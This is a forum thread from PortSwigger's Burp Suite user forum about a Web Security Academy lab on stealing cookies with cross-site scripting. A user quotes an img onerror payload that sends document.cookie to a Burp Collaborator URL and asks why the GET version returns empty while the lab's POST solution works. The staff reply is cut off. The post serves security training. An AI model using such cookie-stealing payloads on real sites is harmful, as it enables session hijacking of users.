Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

About the lab Exploiting cross-site scripting to steal cookies

Jimmy | Last updated: Mar 05, 2022 11:32PM UTC

I tried with XSS payloads that send GET request to Burp collaborator, butthe result of document.cookie is empty. For example: this payload did make the victim sent a GET request to my burp collaborator: <img src=x onerror=this.src='https://9dno4yv10avghgtn2efknx29b0hr5g.burpcollaborator.net/?c='+document.cookie>, but the result is: GET /?c= HTTP/1.1 ... So, somehow document.cookie cannot run, or return nothing. It works with the payload of official solution, and this solution uses POST. Therefore, my question is why do we have this different in behavior between GET and POST?

Alex, PortSwigger Agent | Last updated: Mar 07, 2022 08:25AM UTC